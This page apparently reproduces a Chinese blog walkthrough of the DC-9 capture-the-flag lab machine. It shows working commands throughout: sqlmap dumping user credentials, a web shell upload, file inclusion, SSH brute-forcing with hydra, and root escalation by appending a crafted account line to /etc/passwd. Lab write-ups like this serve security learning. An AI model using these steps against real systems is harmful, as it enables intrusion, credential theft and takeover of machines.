最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

天天新资讯:DC-9

来源:博客园

DC-9


(资料图片)

试验机:DC-7 (网络连接为net)

攻击机:kali (IP:192.168.146.140)

使用nmap进行信息收集

使用nmap进行更详细的信息收集(开始使用参数)

nmap -A -sV -p- 192.168.146.153

获取信息有,22端口ssh被过滤了,80端口为开启状态,apache版本为2.4.38

同时使用dirb和dirsearch进行网页扫描

访问这几个网站看看

http://192.168.146.153/display.php

获得敏感信息

http://192.168.146.153/includes/

apache2.4.38(以获取的敏感信息)

http://192.168.146.153/index.php

介绍页面

http://192.168.146.153/index.php/login

没看出啥

http://192.168.146.153/manage.php

一个登录界面

http://192.168.146.153/search.php

一个搜索界面,可能存在猜测可能存在sql注入,尝试用burpsuite进行抓包然后使用mysql进行注入

开启burpsuite

设置网页代理(我这里是使用了一个插件进行快速网页代理,如果没有插件,可以在设置中进行网页代理)

burpsuite中设置

浏览器代理设置

firefox设置中的网页代理(使用浏览器为firefox,其他浏览器也差不多)

选择手动代理,然后输入跟burpsuite中一样的配置参数就可以了

切换到搜索界面,随便输入些啥,然后开启intercept is off进行数据包抓取

随便输入啥,点击submit

复制burpsuite抓取到的数据包(ctrl+c)

复制到文件中

使用sqlmap进行注入

sqlmap -r 1.txt

没有报错,确实含有sql注入,加上参数,爆出所有数据库

sqlmap -r 1.txt --dbs

出现三个数据库(如果自己不确定,那就一个一个查)

先查Users数据库,添加参数查看表名

sqlmap -r 1.txt -D users --tables

就一个表,继续查看列名

sqlmap -r 1.txt -D users -T UserDetails --columns

指定password,username进行数据查询

sqlmap -r 1.txt -D users -T UserDetails -C Username,password --dump

跑出来好多用户,尝试用dirsearch跑出来的登录网页进行登录

全部尝试登陆后都登录失败

换一个数据库继续(重复操作)

sqlmap -r 1.txt -D Staff --tables

两个表,直接锁定Users表,进行列名查询

sqlmap -r 1.txt -D Staff -T Users --columns

指定password,username进行数据查询,弹出选项大概意思就是是否使用默认字典进行爆破,选择Y

sqlmap -r 1.txt -D Staff -T Users -C password,username --dump

账户密码都爆出来了,进行登录

登录成功

点击add record,进行数据写入

随便输入点啥,成功,在Display All Records,中查看到写入的内容

尝试进行一句话木马写入

上传成功

使用蚁剑进行连接

返还为空

在登录成功的页面发现下面有一行英文

翻译大概意思就是文件不存在,可能之前因该是要显示一个文件,但是文件没了,怀疑可能含有文件包含(参数是file,别问,问就是我也不知道,试出来的(因该))

没有显示,多加几层../

有了,确实存在文件包含,判断一下是远程文件包含还是本地文件包含

在kali的html目录下写一个php文件

代码执行结果为显示php的详细信息,进行远程文件包含

没有结果

看来是本地文件包含,想起信息收集的时候22端口被过滤了,网上进行搜索发现有一个工具可以过滤nmap的扫描

配置方法(https://zhuanlan.zhihu.com/p/373308651)

发现配置文件在/etc目录下,查看该配置文件

用nmap访问一下限制的端口,ssh就可以被扫描到了(如果不行的话就用nc连接,注释:要按照openssh来)

nmap -p 7469,8475,9842 192.168.146.153

在使用nmap进行扫描,发现22端口为开启状态

使用从数据库中爆出admin用户进行登陆

登录失败,想起之前还报过一个数据库,里面全是用户和密码,保存到文件中在使用hydra进行爆破

用户文件

密码文件

使用hydra进行爆破

hydra -L user.txt -P 2.txt ssh://192.168.146.153

爆出三个用户,尝试进行登录

第一个用户登录,登录成功

权限没有,文件也没有

下一个用户

跟上一个用户一样,没什么好看的,切换下一个

还是没有权限,但是发现新的文件

在文件中发现一个密码存放文件

把他加入到hydra爆破ssh的密码文件中,再次进行爆破,看看有没有可能在爆出用户

继续进行爆破,新出了一个用户

用这个用户进行登录,成功

查看有哪些可以进行suid提权

find / -perm -4000 2>/dev/null

使用sudo -l看看哪个文件有root权限

发现test有root权限,切换到test目录下执行test文件s

显示是一个python脚本文件

find / -name test.py 查找文件位置

cat /opt/devstuff/test.py 查看文件内容

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权

使用命令

openssl passwd -1 -salt yonghu 123456 生成密码在使用openssl进行加密

echo ‘wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash’ > /tmp/se 在写入文件中

./test /tmp/se /etc/passwd 再将se文件中的账号密码写入passwd中

切换写入的用户,获得flag

关键词: 登录成功 配置文件 开启状态